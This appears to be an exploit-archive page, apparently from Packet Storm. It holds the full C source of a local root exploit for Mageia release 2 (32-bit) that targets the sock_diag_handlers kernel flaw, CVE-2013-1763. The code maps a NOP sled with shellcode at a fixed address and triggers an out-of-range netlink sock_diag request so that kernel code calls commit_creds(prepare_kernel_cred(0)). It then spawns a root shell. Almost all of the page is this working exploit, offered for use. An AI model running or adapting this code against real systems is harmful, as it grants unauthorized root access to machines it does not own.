what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mageia Release 2 sock_diag_handlers Local Root

Mageia Release 2 sock_diag_handlers Local Root
Posted Mar 22, 2013
Authored by y3dips | Site echo.or.id

Local root exploit for Mageia release 2 (32bit) using the sock_diag_handlers[] vulnerability.

tags | exploit, local, root
advisories | CVE-2013-1763
SHA-256 | 583f10c762d370ddd5cd3c44ff64334cc20eb9b077d18cc3b9667645a0e13222

Mageia Release 2 sock_diag_handlers Local Root

Change Mirror Download
/* Exploit Title: Mageia release 2 (32bit) sock_diag_handlers Local root exploit
Date: 22-03-2013
Exploit Author: y3dips@echo.or.id | @y3dips
Vendor Homepage: http://www.mageia.org/en/
Software Link: http://www.mageia.org/en/downloads/
Version: Mageia release 2 Kernel 3.3.6-desktop586-2.mga2 i686
Tested on: Mageia release 2 Kernel 3.3.6-desktop586-2.mga2 i686
CVE : 2013-1763 */

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
kcode()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

char loncat[] = "\x55\x89\xe5\xb8\x3c\x87\x04\x08\xff\xd0\x5d\xc3\x55\x89\xe5\x81\xec\x58\x02";
/*asm("mov $kcode, %eax; call %eax");*/

int trigger() {
int socks;
unsigned long mmap_start = 0x10000;
unsigned long mmap_size= 0x120000;
void *payload;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;

socks = socket(PF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG);
if (socks < 0)
{ printf("[+] Can't create sock diag socket...\n");
return -1; }

memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_REQUEST;
req.r.sdiag_family = 185; /*nl_table-sock_diag_handlers/4*/

payload=mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if ((long)payload == -1)
{ printf("[+] Failed to mmap() at target.\n");
return -1; }

*(unsigned long *)&loncat[4] =(unsigned long)kcode;
memset((void *)mmap_start, 0x90, mmap_size);
memcpy((void *)mmap_start+mmap_size-sizeof(loncat), loncat, sizeof(loncat));

send(socks, &req, sizeof(req), 0);
}

int main()
{
printf("[+] Mageia release 2 (32bit) sock_diag_handlers Local root exploit\n");
/* Mageia release 2 Kernel 3.3.6-desktop586-2.mga2 i686*/
commit_creds = (_commit_creds) 0xc0159cd0;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc0159ed0;
printf("[+] Triggering payload and Exploiting Sockz...\n");
trigger();
if(getuid()) {
printf("[+] Exploit Failed...\n");
return -1;
}
printf("[+] Got root!...\n");
execl("/bin/sh", "/bin/sh", NULL);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close